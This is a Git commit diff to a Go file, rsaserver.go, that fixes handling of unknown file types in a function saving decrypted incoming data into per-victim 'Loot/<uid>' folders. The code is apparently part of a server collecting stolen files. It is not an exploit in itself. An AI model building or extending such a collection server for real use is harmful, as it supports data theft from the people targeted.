Fix incorrectly handeling of unknown filetypes
This commit is contained in:
		
							
								
								
									
										14
									
								
								rsaserver.go
									
									
									
									
									
								
							
							
						
						
									
										14
									
								
								rsaserver.go
									
									
									
									
									
								
							@@ -183,17 +183,22 @@ func decryptKeyIV(ed string, privateKey *rsa.PrivateKey) ([]byte, error) {
 | 
				
			|||||||
func handleDecrypted(decryptedDataB []byte, uidB []byte) {
 | 
					func handleDecrypted(decryptedDataB []byte, uidB []byte) {
 | 
				
			||||||
    data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
 | 
					    data, _ := base64.StdEncoding.DecodeString(strings.TrimSpace(string(decryptedDataB)))
 | 
				
			||||||
    
 | 
					    
 | 
				
			||||||
 | 
					 | 
				
			||||||
    fileType, err := magic.Lookup(data)
 | 
					    fileType, err := magic.Lookup(data)
 | 
				
			||||||
    if err != nil {
 | 
					    if err != nil {
 | 
				
			||||||
        if err == magic.ErrUnknown {
 | 
					        if err == magic.ErrUnknown {
 | 
				
			||||||
            fmt.Println("File type is unknown")
 | 
					            fmt.Println("File type is unknown")
 | 
				
			||||||
			fileType.Extension = "unk"
 | 
					 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            panic(err)
 | 
					            panic(err)
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
    
 | 
					    
 | 
				
			||||||
 | 
					    var fileTDef string
 | 
				
			||||||
 | 
					    if fileType != nil {
 | 
				
			||||||
 | 
					        fileTDef = fileType.Extension
 | 
				
			||||||
 | 
					    } else {
 | 
				
			||||||
 | 
					        fileTDef = "unknown"
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    
 | 
				
			||||||
    uid := strings.TrimSpace(string(uidB))
 | 
					    uid := strings.TrimSpace(string(uidB))
 | 
				
			||||||
    folderPath := fmt.Sprintf("Loot/%s", uid)
 | 
					    folderPath := fmt.Sprintf("Loot/%s", uid)
 | 
				
			||||||
    err = createFolderIfNotExists(folderPath)
 | 
					    err = createFolderIfNotExists(folderPath)
 | 
				
			||||||
@@ -202,7 +207,7 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    timestamp := time.Now().Unix()
 | 
					    timestamp := time.Now().Unix()
 | 
				
			||||||
	filename := fmt.Sprintf("%d.%s", timestamp, fileType.Extension)
 | 
					    filename := fmt.Sprintf("%d.%s", timestamp, fileTDef)
 | 
				
			||||||
    
 | 
					    
 | 
				
			||||||
    filePath := fmt.Sprintf("%s/%s", folderPath, filename)
 | 
					    filePath := fmt.Sprintf("%s/%s", folderPath, filename)
 | 
				
			||||||
    fmt.Println(filePath)
 | 
					    fmt.Println(filePath)
 | 
				
			||||||
@@ -211,9 +216,10 @@ func handleDecrypted(decryptedDataB []byte, uidB []byte){
 | 
				
			|||||||
        panic(err)
 | 
					        panic(err)
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	fmt.Printf("Got a %s from %s, saving to %s\n",fileType.Extension,uid,filePath)
 | 
					    fmt.Printf("Got a %s from %s, saving to %s\n", fileTDef, uid, filePath)
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func createFolderIfNotExists(folderPath string) error {
 | 
					func createFolderIfNotExists(folderPath string) error {
 | 
				
			||||||
	_, err := os.Stat(folderPath)
 | 
						_, err := os.Stat(folderPath)
 | 
				
			||||||
	if os.IsNotExist(err) {
 | 
						if os.IsNotExist(err) {
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user